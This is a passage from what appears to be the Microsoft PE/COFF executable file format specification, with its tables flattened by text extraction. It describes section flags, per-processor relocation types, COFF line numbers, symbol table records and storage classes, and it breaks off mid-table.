IMAGE_SCN_TYPE_NO_PAD
0x00000008
Section should not be padded to next
boundary. This is obsolete and
replaced by
IMAGE_SCN_ALIGN_1BYTES. This
is valid for object files only.
IMAGE_SCN_TYPE_COPY
0x00000010
Reserved for future use.
IMAGE_SCN_CNT_CODE
0x00000020
Section contains executable code.
IMAGE_SCN_CNT_INITIALIZED_DATA
0x00000040
Section contains initialized data.
IMAGE_SCN_CNT_UNINITIALIZED_DATA
0x00000080
Section contains uninitialized data.
IMAGE_SCN_LNK_OTHER
0x00000100
Reserved for future use.
IMAGE_SCN_LNK_INFO
0x00000200
Section contains comments or other
information. The .drectve section has
this type. This is valid for object files
only.
IMAGE_SCN_TYPE_OVER
0x00000400
Reserved for future use.
IMAGE_SCN_LNK_REMOVE
0x00000800
Section will not become part of the
image. This is valid for object files
only.
IMAGE_SCN_LNK_COMDAT
0x00001000
Section contains COMDAT data. See
Section 5.5.6, “COMDAT Sections,”
for more information. This is valid for
object files only.
IMAGE_SCN_MEM_FARDATA
0x00008000
Reserved for future use.
IMAGE_SCN_MEM_PURGEABLE
0x00020000
Reserved for future use.
IMAGE_SCN_MEM_16BIT
0x00020000
Reserved for future use.
IMAGE_SCN_MEM_LOCKED
0x00040000
Reserved for future use.
IMAGE_SCN_MEM_PRELOAD
0x00080000
Reserved for future use.
IMAGE_SCN_ALIGN_1BYTES
0x00100000
Align data on a 1-byte boundary. This
is valid for object files only.
IMAGE_SCN_ALIGN_2BYTES
0x00200000
Align data on a 2-byte boundary. This
is valid for object files only.
IMAGE_SCN_ALIGN_4BYTES
0x00300000
Align data on a 4-byte boundary. This
is valid for object files only.
IMAGE_SCN_ALIGN_8BYTES
0x00400000
Align data on a 8-byte boundary. This
is valid for object files only.
IMAGE_SCN_ALIGN_16BYTES
0x00500000
Align data on a 16-byte boundary.
This is valid for object files only.
IMAGE_SCN_ALIGN_32BYTES
0x00600000
Align data on a 32-byte boundary.
This is valid for object files only.
IMAGE_SCN_ALIGN_64BYTES
0x00700000
Align data on a 64-byte boundary.
This is valid for object files only.
IMAGE_SCN_ALIGN_128BYTES
0x00800000
Align data on a 128-byte boundary.
This is valid for object files only.
IMAGE_SCN_ALIGN_256BYTES
0x00900000
Align data on a 256-byte boundary.
This is valid for object files only.
IMAGE_SCN_ALIGN_512BYTES
0x00A00000
Align data on a 512-byte boundary.
This is valid for object files only.
IMAGE_SCN_ALIGN_1024BYTES
0x00B00000
Align data on a 1024-byte boundary.
This is valid for object files only.
IMAGE_SCN_ALIGN_2048BYTES
0x00C00000
Align data on a 2048-byte boundary.
This is valid for object files only.
IMAGE_SCN_ALIGN_4096BYTES
0x00D00000
Align data on a 4096-byte boundary.
This is valid for object files only.
IMAGE_SCN_ALIGN_8192BYTES
0x00E00000
Align data on a 8192-byte boundary.
This is valid for object files only.
IMAGE_SCN_LNK_NRELOC_OVFL
0x01000000
Section contains extended
relocations.
IMAGE_SCN_MEM_DISCARDABLE
0x02000000
Section can be discarded as needed.
IMAGE_SCN_MEM_NOT_CACHED
0x04000000
Section cannot be cached.
IMAGE_SCN_MEM_NOT_PAGED
0x08000000
Section is not pageable.
IMAGE_SCN_MEM_SHARED
0x10000000
Section can be shared in memory.
IMAGE_SCN_MEM_EXECUTE
0x20000000
Section can be executed as code.
IMAGE_SCN_MEM_READ
0x40000000
Section can be read.
IMAGE_SCN_MEM_WRITE
0x80000000
Section can be written to.
IMAGE_SCN_LNK_NRELOC_OVFL indicates that the count of relocations for the section
exceeds the 16 bits reserved for it in section header. If the bit is set and the NumberOfRelocations
field in the section header is 0xffff, the actual relocation count is stored in the 32-bit
VirtualAddress field of the first relocation.
4.2. Grouped Sections (Object Only)
The “$” character (dollar sign) has a special interpretation in section names in object files.
When determining the image section that will contain the contents of an object section, the linker
discards the “$” and all characters following it. Thus, an object section named .text$X will actually
contribute to the .text section in the image.
However, the characters following the “$” determine the ordering of the contributions to the image
section. All contributions with the same object-section name will be allocated contiguously in the
image, and the blocks of contributions will be sorted in lexical order by object-section name.
Therefore, everything in object files with section name .text$X will end up together, after the
.text$W contributions and before the .text$Y contributions.
The section name in an image file will never contain a “$” character.
5. Other Contents of the File
The data structures described so far, up to and including the optional header, are all located at a
fixed offset from the beginning of the file (or from the PE header if the file is an image containing
an MS-DOS stub).
The remainder of a COFF object or image file contains blocks of data that are not necessarily at
any specific file offset. Instead the locations are defined by pointers in the Optional Header or a
section header.
An exception is for images with a Section Alignment value (see the Optional Header description)
of less than the page size of the architecture (4K for Intel x86 and for MIPS; 8K for Alpha). In this
case there are constraints on the file offset of the section data, as described in the next section.
Another exception is that attribute certificate and debug information must be placed at the very
end of an image file (with the attribute certificate table immediately preceding the debug section),
because the loader does not map these into memory. The rule on attribute certificate and debug
information does not apply to object files, however.
5.1. Section Data
Initialized data for a section consists of simple blocks of bytes. However, for sections containing
all zeros, the section data need not be included.
The data for each section is located at the file offset given by the PointerToRawData field in the
section header, and the size of this data in the file is indicated by the SizeOfRawData field. If the
SizeOfRawData is less than the VirtualSize, the remainder is padded with zeros.
In an image file, the section data must be aligned on a boundary as specified by the FileAlignment
field in the optional header. Section data must appear in order of the RVA values for the
corresponding sections (as do the individual section headers in the Section Table).
There are additional restrictions on image files for which the Section Align value in the Optional
Header is less than the page size of the architecture. For such files, the location of section data in
the file must match its location in memory when the image is loaded, so that the physical offset for
section data is the same as the RVA.
5.2. COFF Relocations (Object Only)
Object files contain COFF relocations, which specify how the section data should be modified
when placed in the image file and subsequently loaded into memory.
Image files do not contain COFF relocations, because all symbols referenced have already been
assigned addresses in a flat address space. An image contains relocation information in the form
of base relocations in the .reloc section (unless the image has the
IMAGE_FILE_RELOCS_STRIPPED attribute). See Section 6.5 for more information.
For each section in an object file, there is an array of fixed-length records that are the section’s
COFF relocations. The position and length of the array are specified in the section header. Each
element of the array has the following format:
Offset
Size
Field
Description
0
4
VirtualAddress
Address of the item to which relocation is applied: this is
the offset from the beginning of the section, plus the
value of the section’s RVA/Offset field (see Section 4,
“Section Table.”). For example, if the first byte of the
section has an address of 0x10, the third byte has an
address of 0x12.
4
4
SymbolTableInd
ex
A zero-based index into the symbol table. This symbol
gives the address to be used for the relocation. If the
specified symbol has section storage class, then the
symbol’s address is the address with the first section of
the same name.
8
2
Type
A value indicating what kind of relocation should be
performed. Valid relocation types depend on machine
type. See Section 5.2.1, “Type Indicators.”
If the symbol referred to (by the SymbolTableIndex field) has storage class
IMAGE_SYM_CLASS_SECTION, the symbol’s address is the beginning of the section. The
section is usually in the same file, except when the object file is part of an archive (library). In that
case, the section may be found in any other object file in the archive that has the same archive-
member name as the current object file. (The relationship with the archive-member name is used
in the linking of import tables, i.e. the .idata section.)
5.2.1. Type Indicators
The Type field of the relocation record indicates what kind of relocation should be performed.
Different relocation types are defined for each type of machine.
Intel 386™
The following relocation type indicators are defined for Intel386 and compatible processors:
Constant
Value
Description
IMAGE_REL_I386_ABSOLUTE
0x0000
This relocation is ignored.
IMAGE_REL_I386_DIR16
0x0001
Not supported.
IMAGE_REL_I386_REL16
0x0002
Not supported.
IMAGE_REL_I386_DIR32
0x0006
The target’s 32-bit virtual address.
IMAGE_REL_I386_DIR32NB
0x0007
The target’s 32-bit relative virtual address.
IMAGE_REL_I386_SEG12
0x0009
Not supported.
IMAGE_REL_I386_SECTION
0x000A
The 16-bit-section index of the section containing the
target. This is used to support debugging information.
IMAGE_REL_I386_SECREL
0x000B
The 32-bit offset of the target from the beginning of its
section. This is used to support debugging information
as well as static thread local storage.
IMAGE_REL_I386_REL32
0x0014
The 32-bit relative displacement to the target. This
supports the x86 relative branch and call instructions.
MIPS Processors
The following relocation type indicators are defined for MIPS processors:
Constant
Value
Description
IMAGE_REL_MIPS_ABSOLUTE
0x0000
This relocation is ignored.
IMAGE_REL_MIPS_REFHALF
0x0001
The high 16 bits of the target’s 32-bit virtual
address.
IMAGE_REL_MIPS_REFWORD
0x0002
The target’s 32-bit virtual address.
IMAGE_REL_MIPS_JMPADDR
0x0003
The low 26 bits of the target’s virtual address.
This supports the MIPS J and JAL instructions.
IMAGE_REL_MIPS_REFHI
0x0004
The high 16 bits of the target’s 32-bit virtual
address. Used for the first instruction in a two-
instruction sequence that loads a full address.
This relocation must be immediately followed by
a PAIR relocations whose SymbolTableIndex
contains a signed 16-bit displacement which is
added to the upper 16 bits taken from the
location being relocated.
IMAGE_REL_MIPS_REFLO
0x0005
The low 16 bits of the target’s virtual address.
IMAGE_REL_MIPS_GPREL
0x0006
16-bit signed displacement of the target relative
to the Global Pointer (GP) register.
IMAGE_REL_MIPS_LITERAL
0x0007
Same as IMAGE_REL_MIPS_GPREL.
IMAGE_REL_MIPS_SECTION
0x000A
The 16-bit section index of the section containing
the target. This is used to support debugging
information.
IMAGE_REL_MIPS_SECREL
0x000B
The 32-bit offset of the target from the beginning
of its section. This is used to support debugging
information as well as static thread local storage.
IMAGE_REL_MIPS_SECRELLO
0x000C
The low 16 bits of the 32-bit offset of the target
from the beginning of its section.
IMAGE_REL_MIPS_SECRELHI
0x000D
The high 16 bits of the 32-bit offset of the target
from the beginning of its section. A PAIR
relocation must immediately follow this on. The
SymbolTableIndex of the PAIR relocation
contains a signed 16-bit displacement, which is
added to the upper 16 bits taken from the
location being relocated.
IMAGE_REL_MIPS_JMPADDR16
0x0010
The low 26 bits of the target’s virtual address.
This supports the MIPS16 JAL instruction.
IMAGE_REL_MIPS_REFWORDNB
0x0022
The target’s 32-bit relative virtual address.
IMAGE_REL_MIPS_PAIR
0x0025
This relocation is only valid when it immediately
follows a REFHI or SECRELHI relocation. Its
SymbolTableIndex contains a displacement and
not an index into the symbol table.
Alpha Processors
The following relocation Type indicators are defined for Alpha processors:
Constant
Value
Description
IMAGE_REL_ALPHA_ABSOLUTE
0x0000
This relocation is ignored.
IMAGE_REL_ALPHA_REFLONG
0x0001
The target’s 32-bit virtual address. This fixup is
illegal in a PE32+ image unless the image has
been sandboxed by clearing the
IMAGE_FILE_LARGE_ADDRESS_AWARE bit in
the File Header.
IMAGE_REL_ALPHA_REFQUAD
0x0002
The target’s 64-bit virtual address.
IMAGE_REL_ALPHA_GPREL32
0x0003
32-bit signed displacement of the target relative to
the Global Pointer (GP) register.
IMAGE_REL_ALPHA_LITERAL
0x0004
16-bit signed displacement of the target relative to
the Global Pointer (GP) register.
IMAGE_REL_ALPHA_LITUSE
0x0005
Reserved for future use.
IMAGE_REL_ALPHA_GPDISP
0x0006
Reserved for future use.
IMAGE_REL_ALPHA_BRADDR
0x0007
The 21-bit relative displacement to the target. This
supports the Alpha relative branch instructions.
IMAGE_REL_ALPHA_HINT
0x0008
14-bit hints to the processor for the target of an
Alpha jump instruction.
IMAGE_REL_ALPHA_INLINE_REFL
ONG
0x0009
The target’s 32-bit virtual address split into high
and low 16-bit parts. Either an ABSOLUTE or
MATCH relocation must immediately follow this
relocation. The high 16 bits of the target address
are stored in the location identified by the
INLINE_REFLONG relocation. The low 16 bits are
stored four bytes later if the following relocation is
of type ABSOLUTE or at a signed displacement
given in the SymbolTableIndex if the following
relocation is of type MATCH.
IMAGE_REL_ALPHA_REFHI
0x000A
The high 16 bits of the target’s 32-bit virtual
address. Used for the first instruction in a two-
instruction sequence that loads a full address.
This relocation must be immediately followed by a
PAIR relocations whose SymbolTableIndex
contains a signed 16-bit displacement which is
added to the upper 16 bits taken from the location
being relocated.
IMAGE_REL_ALPHA_REFLO
0x000B
The low 16 bits of the target’s virtual address.
IMAGE_REL_ALPHA_PAIR
0x000C
This relocation is only valid when it immediately
follows a REFHI , REFQ3, REFQ2, or SECRELHI
relocation. Its SymbolTableIndex contains a
displacement and not an index into the symbol
table.
IMAGE_REL_ALPHA_MATCH
0x000D
This relocation is only valid when it immediately
follows INLINE_REFLONG relocation. Its
SymbolTableIndex contains the displacement in
bytes of the location for the matching low address
and not an index into the symbol table.
IMAGE_REL_ALPHA_SECTION
0x000E
The 16-bit section index of the section containing
the target. This is used to support debugging
information.
IMAGE_REL_ALPHA_SECREL
0x000F
The 32-bit offset of the target from the beginning
of its section. This is used to support debugging
information as well as static thread local storage.
IMAGE_REL_ALPHA_REFLONGNB
0x0010
The target’s 32-bit relative virtual address.
IMAGE_REL_ALPHA_SECRELLO
0x0011
The low 16 bits of the 32-bit offset of the target
from the beginning of its section.
IMAGE_REL_ALPHA_SECRELHI
0x0012
The high 16 bits of the 32-bit offset of the target
from the beginning of its section. A PAIR
relocation must immediately follow this on. The
SymbolTableIndex of the PAIR relocation contains
a signed 16-bit displacement which is added to the
upper 16 bits taken from the location being
relocated.
IMAGE_REL_ALPHA_REFQ3
0x0013
The low 16 bits of the high 32 bits of the target’s
64-bit virtual address. This relocation must be
immediately followed by a PAIR relocations whose
SymbolTableIndex contains a signed 32-bit
displacement which is added to the 16 bits taken
from the location being relocated. The 16 bits in
the relocated location are shifted left by 32 before
this addition.
IMAGE_REL_ALPHA_REFQ2
0x0014
The high 16 bits of the low 32 bits of the target’s
64-bit virtual address. This relocation must be
immediately followed by a PAIR relocations whose
SymbolTableIndex contains a signed 16-bit
displacement which is added to the upper 16 bits
taken from the location being relocated.
IMAGE_REL_ALPHA_REFQ1
0x0015
The low 16 bits of the target’s 64-bit virtual
address.
IMAGE_REL_ALPHA_GPRELLO
0x0016
The low 16 bits of the 32-bit signed displacement
of the target relative to the Global Pointer (GP)
register.
IMAGE_REL_ALPHA_GPRELHI
0x0017
The high 16 bits of the 32-bit signed displacement
of the target relative to the Global Pointer (GP)
register.
IBM PowerPC Processors
The following relocation Type indicators are defined for PowerPC processors:
Constant
Value
Description
IMAGE_REL_PPC_ABSOLUTE
0x0000
This relocation is ignored.
IMAGE_REL_PPC_ADDR64
0x0001
The target’s 64-bit virtual address.
IMAGE_REL_PPC_ADDR32
0x0002
The target’s 32-bit virtual address.
IMAGE_REL_PPC_ADDR24
0x0003
The low 24 bits of the target’s virtual address. This is
only valid when the target symbol is absolute and can
be sign extended to its original value.
IMAGE_REL_PPC_ADDR16
0x0004
The low 16 bits of the target’s virtual address.
IMAGE_REL_PPC_ADDR14
0x0005
The low 14 bits of the target’s virtual address. This is
only valid when the target symbol is absolute and can
be sign extended to its original value.
IMAGE_REL_PPC_REL24
0x0006
A 24-bit PC-relative offset to the symbol’s location.
IMAGE_REL_PPC_REL14
0x0007
A 14-bit PC-relative offset to the symbol’s location.
IMAGE_REL_PPC_ADDR32NB
0x000A
The target’s 32-bit relative virtual address.
IMAGE_REL_PPC_SECREL
0x000B
The 32-bit offset of the target from the beginning of
its section. This is used to support debugging
information as well as static thread local storage.
IMAGE_REL_PPC_SECTION
0x000C
The 16-bit section index of the section containing the
target. This is used to support debugging
information.
IMAGE_REL_PPC_SECREL16
0x000F
The 16-bit offset of the target from the beginning of
its section. This is used to support debugging
information as well as static thread local storage.
IMAGE_REL_PPC_REFHI
0x0010
The high 16 bits of the target’s 32-bit virtual address.
Used for the first instruction in a two-instruction
sequence that loads a full address. This relocation
must be immediately followed by a PAIR relocations
whose SymbolTableIndex contains a signed 16-bit
displacement which is added to the upper 16 bits
taken from the location being relocated.
IMAGE_REL_PPC_REFLO
0x0011
The low 16 bits of the target’s virtual address.
IMAGE_REL_PPC_PAIR
0x0012
This relocation is only valid when it immediately
follows a REFHI or SECRELHI relocation. Its
SymbolTableIndex contains a displacement and not
an index into the symbol table.
IMAGE_REL_PPC_SECRELLO
0x0013
The low 16 bits of the 32-bit offset of the target from
the beginning of its section.
IMAGE_REL_PPC_SECRELHI
0x0014
The high 16 bits of the 32-bit offset of the target from
the beginning of its section. A PAIR relocation must
immediately follow this on. The SymbolTableIndex of
the PAIR relocation contains a signed 16-bit
displacement which is added to the upper 16 bits
taken from the location being relocated.
IMAGE_REL_PPC_GPREL
0x0015
16-bit signed displacement of the target relative to
the Global Pointer (GP) register.
Hitachi SuperH Processors
The following relocation type indicators are defined for SH3 and SH4 processors:
Constant
Value
Description
IMAGE_REL_SH3_ABSOLUTE
0x0000
This relocation is ignored.
IMAGE_REL_SH3_DIRECT16
0x0001
Reference to the 16-bit location that contains
the virtual address of the target symbol.
IMAGE_REL_SH3_DIRECT32
0x0002
The target’s 32-bit virtual address.
IMAGE_REL_SH3_DIRECT8
0x0003
Reference to the 8-bit location that contains the
virtual address of the target symbol.
IMAGE_REL_SH3_DIRECT8_WORD
0x0004
Reference to the 8-bit instruction that contains
the effective 16-bit virtual address of the target
symbol.
IMAGE_REL_SH3_DIRECT8_LONG
0x0005
Reference to the 8-bit instruction that contains
the effective 32-bit virtual address of the target
symbol.
IMAGE_REL_SH3_DIRECT4
0x0006
Reference to the 8-bit location whose low 4 bits
contain the virtual address of the target symbol.
IMAGE_REL_SH3_DIRECT4_WORD
0x0007
Reference to the 8-bit instruction whose low 4
bits contain the effective 16-bit virtual address
of the target symbol.
IMAGE_REL_SH3_DIRECT4_LONG
0x0008
Reference to the 8-bit instruction whose low 4
bits contain the effective 32-bit virtual address
of the target symbol.
IMAGE_REL_SH3_PCREL8_WORD
0x0009
Reference to the 8-bit instruction which
contains the effective 16-bit relative offset of the
target symbol.
IMAGE_REL_SH3_PCREL8_LONG
0x000A
Reference to the 8-bit instruction which
contains the effective 32-bit relative offset of the
target symbol.
IMAGE_REL_SH3_PCREL12_WORD
0x000B
Reference to the 16-bit instruction whose low
12 bits contain the effective 16-bit relative offset
of the target symbol.
IMAGE_REL_SH3_STARTOF_SECTION
0x000C
Reference to a 32-bit location that is the virtual
address of the symbol’s section.
IMAGE_REL_SH3_SIZEOF_SECTION
0x000D
Reference to the 32-bit location that is the size
of the symbol’s section.
IMAGE_REL_SH3_SECTION
0x000E
The 16-bit section index of the section
containing the target. This is used to support
debugging information.
IMAGE_REL_SH3_SECREL
0x000F
The 32-bit offset of the target from the
beginning of its section. This is used to support
debugging information as well as static thread
local storage.
IMAGE_REL_SH3_DIRECT32_NB
0x0010
The target’s 32-bit relative virtual address.
ARM Processors
The following relocation Type indicators are defined for ARM processors:
Constant
Value
Description
IMAGE_REL_ARM_ABSOLUTE
0x0000
This relocation is ignored.
IMAGE_REL_ARM_ADDR32
0x0001
The target’s 32-bit virtual address.
IMAGE_REL_ARM_ADDR32NB
0x0002
The target’s 32-bit relative virtual address.
IMAGE_REL_ARM_BRANCH24
0x0003
The 24-bit relative displacement to the target.
IMAGE_REL_ARM_BRANCH11
0x0004
Reference to a subroutine call, consisting of
two 16-bit instructions with 11-bit offsets.
IMAGE_REL_ARM_SECTION
0x000E
The 16-bit section index of the section
containing the target. This is used to support
debugging information.
IMAGE_REL_ARM_SECREL
0x000F
The 32-bit offset of the target from the
beginning of its section. This is used to support
debugging information as well as static thread
local storage.
5.3. COFF Line Numbers
COFF line numbers indicate the relationship between code and line-numbers in source files. The
Microsoft format for COFF line numbers is similar to standard COFF, but it has been extended to
allow a single section to relate to line numbers in multiple source files.
COFF line numbers consist of an array of fixed-length records. The location (file offset) and size
of the array are specified in the section header. Each line-number record is of the following
format:
Offset
Size
Field
Description
0
4
Type (*)
Union of two fields: Symbol Table Index and RVA.
Whether Symbol Table Index or RVA is used
depends on the value of Linenumber.
4
2
Linenumber
When nonzero, this field specifies a one-based
line number. When zero, the Type field is
interpreted as a Symbol Table Index for a function.
The Type field is a union of two four-byte fields, Symbol Table Index, and RVA:
Offset
Size
Field
Description
0
4
SymbolTableIndex
Used when Linenumber is 0: index to symbol table
entry for a function. This format is used to indicate
the function that a group of line-number records
refer to.
0
4
VirtualAddress
Used when Linenumber is non-zero: relative
virtual address of the executable code that
corresponds to the source line indicated. In an
object file, this contains the virtual address within
the section.
A line-number record, then, can either set the Linenumber field to 0 and point to a function
definition in the Symbol Table, or else it can work as a standard line-number entry by giving a
positive integer (line number) and the corresponding address in the object code.
A group of line-number entries always begins with the first format: the index of a function symbol.
If this is the first line-number record in the section, then it is also the COMDAT symbol name for
the function if the section’s COMDAT flag is set. (See Section 5.5.6, “COMDAT Sections.”) The
function’s auxiliary record in the Symbol Table has a Pointer to Linenumbers field that points to
this same line-number record.
A record identifying a function is followed by any number of line-number entries that give actual
line-number information (Linenumber greater than zero). These entries are one-based, relative to
the beginning of the function, and represent every source line in the function except for the first
one.
For example, the first line-number record for the following example would specify the ReverseSign
function (Symbol Table Index of ReverseSign, Linenumber set to 0). Then records with
Linenumber values of 1, 2, and 3 would follow, corresponding to source lines as shown:
// some code precedes ReverseSign function
int ReverseSign(int i)
1:
{
2:
return -1 * i;
3:
}
5.4. COFF Symbol Table
The Symbol Table described in this section is inherited from the traditional COFF format. It is
distinct from CodeView® information. A file may contain both a COFF Symbol Table and
CodeView debug information, and the two are kept separate. Some Microsoft tools use the
Symbol Table for limited but important purposes, such as communicating COMDAT information to
the linker. Section names and file names, as well as code and data symbols, are listed in the
Symbol Table.
The location of the Symbol Table is indicated in the COFF Header.
The Symbol Table is an array of records, each 18 bytes long. Each record is either a standard or
auxiliary symbol-table record. A standard record defines a symbol or name, and has the following
format:
Offset
Size
Field
Description
0
8
Name (*)
Name of the symbol, represented by union of
three structures. An array of eight bytes is used if
the name is not more than eight bytes long. See
Section 5.4.1, “Symbol Name Representation, ”
for more information.
8
4
Value
Value associated with the symbol. The
interpretation of this field depends on Section
Number and Storage Class. A typical meaning is
the relocatable address.
12
2
SectionNumber
Signed integer identifying the section, using a
one-based index into the Section Table. Some
values have special meaning defined in “Section
Number Values.”
14
2
Type
A number representing type. Microsoft tools set
this field to 0x20 (function) or 0x0 (not a
function). See Section 5.4.3, “Type
Representation,” for more information.
16
1
StorageClass
Enumerated value representing storage class.
See Section 5.4.4, “Storage Class,” for more
information.
17
1
NumberOfAuxSymbols
Number of auxiliary symbol table entries that
follow this record.
Zero or more auxiliary symbol-table records immediately follow each standard symbol-table
record. However, typically not more than one auxiliary symbol-table record follows a standard
symbol-table record (except for .file records with long file names). Each auxiliary record is the
same size as a standard symbol-table record (18 bytes), but rather than define a new symbol, the
auxiliary record gives additional information on the last symbol defined. The choice of which of
several formats to use depends on the Storage Class field. Currently defined formats for auxiliary
symbol table records are shown in “Auxiliary Symbol Records.”
Tools that read COFF symbol tables must ignore auxiliary symbol records whose interpretation is
unknown. This allows the symbol table format to be extended to add new auxiliary records,
without breaking existing tools.
5.4.1. Symbol Name Representation
The Name field in a symbol table consists of eight bytes that contain the name itself, if not too
long, or else give an offset into the String Table. To determine whether the name itself or an offset
is given, test the first four bytes for equality to zero.
Offset
Size
Field
Description
0
8
Short Name
An array of eight bytes. This array is padded
with nulls on the right if the name is less
than eight bytes long.
0
4
Zeroes
Set to all zeros if the name is longer than
eight bytes.
4
4
Offset
Offset into the String Table.
5.4.2. Section Number Values
Normally, the Section Value field in a symbol table entry is a one-based index into the Section
Table. However, this field is a signed integer and may take negative values. The following values,
less than one, have special meanings:
Constant
Value
Description
IMAGE_SYM_UNDEFINED
0
Symbol record is not yet assigned a section. If the value
is 0 this indicates a references to an external symbol
defined elsewhere. If the value is non-zero this is a
common symbol with a size specified by the value.
IMAGE_SYM_ABSOLUTE
-1
The symbol has an absolute (non-relocatable) value and
is not an address.
IMAGE_SYM_DEBUG
-2
The symbol provides general type or debugging
information but does not correspond to a section.
Microsoft tools use this setting along with .file records
(storage class FILE).
5.4.3. Type Representation
The Type field of a symbol table entry contains two bytes, each byte representing type
information. The least-significant byte represents simple (base) data type, and the most-significant
byte represents complex type, if any:
MSB
LSB
Complex type: none, pointer, function, array.
Base type: integer, floating-point, etc.
The following values are defined for base type, although Microsoft tools generally do not use this
field, setting the least-significant byte to 0. Instead, CodeView information is used to indicate
types. However, the possible COFF values are listed here for completeness.
Constant
Value
Description
IMAGE_SYM_TYPE_NULL
0
No type information or unknown base type. Microsoft
tools use this setting.
IMAGE_SYM_TYPE_VOID
1
No valid type; used with void pointers and functions.
IMAGE_SYM_TYPE_CHAR
2
Character (signed byte).
IMAGE_SYM_TYPE_SHORT
3
Two-byte signed integer.
IMAGE_SYM_TYPE_INT
4
Natural integer type (normally four bytes in Windows
NT).
IMAGE_SYM_TYPE_LONG
5
Four-byte signed integer.
IMAGE_SYM_TYPE_FLOAT
6
Four-byte floating-point number.
IMAGE_SYM_TYPE_DOUBLE
7
Eight-byte floating-point number.
IMAGE_SYM_TYPE_STRUCT
8
Structure.
IMAGE_SYM_TYPE_UNION
9
Union.
IMAGE_SYM_TYPE_ENUM
10
Enumerated type.
IMAGE_SYM_TYPE_MOE
11
Member of enumeration (a specific value).
IMAGE_SYM_TYPE_BYTE
12
Byte; unsigned one-byte integer.
IMAGE_SYM_TYPE_WORD
13
Word; unsigned two-byte integer.
IMAGE_SYM_TYPE_UINT
14
Unsigned integer of natural size (normally, four bytes).
IMAGE_SYM_TYPE_DWORD
15
Unsigned four-byte integer.
The most significant byte specifies whether the symbol is a pointer to, function returning, or array
of the base type specified in the least significant byte. Microsoft tools use this field only to indicate
whether or not the symbol is a function, so that the only two resulting values are 0x0 and 0x20 for
the Type field. However, other tools can use this field to communicate more information.
It is very important to specify the function attribute correctly. This information is required for
incremental linking to work correctly. For some architectures the information may be required for
other purposes.
Constant
Value
Description
IMAGE_SYM_DTYPE_NULL
0
No derived type; the symbol is a simple scalar
variable.
IMAGE_SYM_DTYPE_POINTER
1
Pointer to base type.
IMAGE_SYM_DTYPE_FUNCTION
2
Function returning base type.
IMAGE_SYM_DTYPE_ARRAY
3
Array of base type.
5.4.4. Storage Class
The Storage Class field of the Symbol Table indicates what kind of definition a symbol represents.
The following table shows possible values. Note that the Storage Class field is an unsigned one-
byte integer. The special value -1 should therefore be taken to mean its unsigned equivalent,
0xFF.
Although traditional COFF format makes use of many storage-class values, Microsoft tools rely on
CodeView format for most symbolic information and generally use only four storage-class values:
EXTERNAL (2), STATIC (3), FUNCTION (101), and STATIC (103). Except in the second column
heading below, “Value” should be taken to mean the Value field of the symbol record (whose
interpretation depends on the number found as the storage class).
Constant
Value
Description / Interpretation of Value
Field
IMAGE_SYM_CLASS_END_OF_FUNCTION
-1
(0xFF)
Special symbol representing end of
function, for debugging purposes.
IMAGE_SYM_CLASS_NULL
0
No storage class assigned.
IMAGE_SYM_CLASS_AUTOMATIC
1
Automatic (stack) variable. The Value field
specifies stack frame offset.
IMAGE_SYM_CLASS_EXTERNAL
2
Used by Microsoft tools for external
symbols. The Value field indicates the size
if the section number is
IMAGE_SYM_UNDEFINED (0). If the
section number is not 0, then the Value
field specifies the offset within the section.
IMAGE_SYM_CLASS_STATIC
3
The Value field specifies the offset of the
symbol within the section. If the Value is 0,
then the symbol represents a section name.
IMAGE_SYM_CLASS_REGISTER
4
Register variable. The Value field specifies
register number.
IMAGE_SYM_CLASS_EXTERNAL_DEF
5
Symbol is defined externally.
IMAGE_SYM_CLASS_LABEL
6
Code label defined within the module. The
Value field specifies the offset of the
symbol within the section.
IMAGE_SYM_CLASS_UNDEFINED_LABEL
7
Reference to a code label not defined.
IMAGE_SYM_CLASS_MEMBER_OF_STRUCT
8
Structure member. The Value field
specifies nth member.
IMAGE_SYM_CLASS_ARGUMENT
9
Formal argument (parameter)of a function.
The Value field specifies nth argument.
IMAGE_SYM_CLASS_STRUCT_TAG
10
Structure tag-name entry.
IMAGE_SYM_CLASS_MEMBER_OF_UNION
11
Union member. The Value field specifies
nth member.
IMAGE_SYM_CLASS_UNION_TAG
12
Union tag-name entry.
IMAGE_SYM_CLASS_TYPE_DEFINITION
13
Typedef entry.
IMAGE_SYM_CLASS_UNDEFINED_STATIC
14
Static data declaration.
IMAGE_SYM_CLASS_ENUM_TAG
15
Enumerated type tagname entry.
IMAGE_SYM_CLASS_MEMBER_OF_ENUM
16
Member of enumeration. Value specifies
nth member.
IMAGE_SYM_CLASS_REGISTER_PARAM
17
Register parameter.
IMAGE_SYM_CLASS_BIT_FIELD
18
Bit-field reference. Value specifies nth bit in
the bit field.
IMAGE_SYM_CLASS_BLOCK
100
A .bb (beginning of block) or .eb (end of
block) record. Value is the relocatable
address of the code location.
IMAGE_SYM_CLASS_FUNCTION
101
Used by Microsoft tools for symbol records
that define the extent of a function: begin
function (named .bf), end function (.ef), and
lines in function (.lf). For .lf records, Value
gives the number of source lines in the
function. For .ef records, Value gives the
size of function code.
IMAGE_SYM_CLASS_END_OF_STRUCT
102
End of structure entry.
IMAGE_SYM_CLASS_FILE
103
Used by Microsoft tools, as well as
traditional COFF format, for the source-file
symbol record. The symbol is followed by
auxiliary records that name the file.
IMAGE_SYM_CLASS_SECTION
104
Definition of a section (Microsoft tools use
STATIC storage class instead).
IMAGE_SYM_CLASS_WEAK_EXTERNAL
105
Weak external. See Section 5.5.3,
“Auxiliary Format 3: Weak Externals,” for
more information.
5.5. Auxiliary Symbol Records
Auxiliary Symbol Table records always follow and apply to some standard Symbol Table record.
An auxiliary record can have any format that the tools are designed to recognize, but 18 bytes
must be allocated for them so that Symbol Table is maintained as an array of regular size.
Currently, Microsoft tools recognize auxiliary formats for the following kinds of records: function
definitions, function begin and end symbols (.bf and .ef), weak externals, filenames, and section
definitions.
The traditional COFF design also includes auxiliary-record formats for arrays and structures.
Microsoft tools do not use these, and instead place that symbolic information in CodeView format
in the debug sections.
5.5.1. Auxiliary Format 1: Function Definitions
A symbol table record marks the beginning of a function definition if all of the following are true: it
has storage class EXTERNAL (2), a Type value indicating it is a function (0x20), and a section
number greater than zero. Note that a symbol table record that has a section number of
UNDEFINED (0) does not define the function and does not have an auxiliary record. Function-
definition symbol records are followed by an auxiliary record with the format described below.
Offset
Size
Field
Description
0
4
TagIndex
Symbol-table index of the corresponding .bf
(begin function) symbol record.
4
4
TotalSize
Size of the executable code for the function
itself. If the function is in its own section,
the Size of Raw Data in the section header
will be greater or equal to this field,
depending on alignment considerations.
8
4
PointerToLinenumber
File offset of the first COFF line-number
entry for the function, or zero if none exists.
See Section 5.3, “COFF Line Numbers,” for
more information.
12
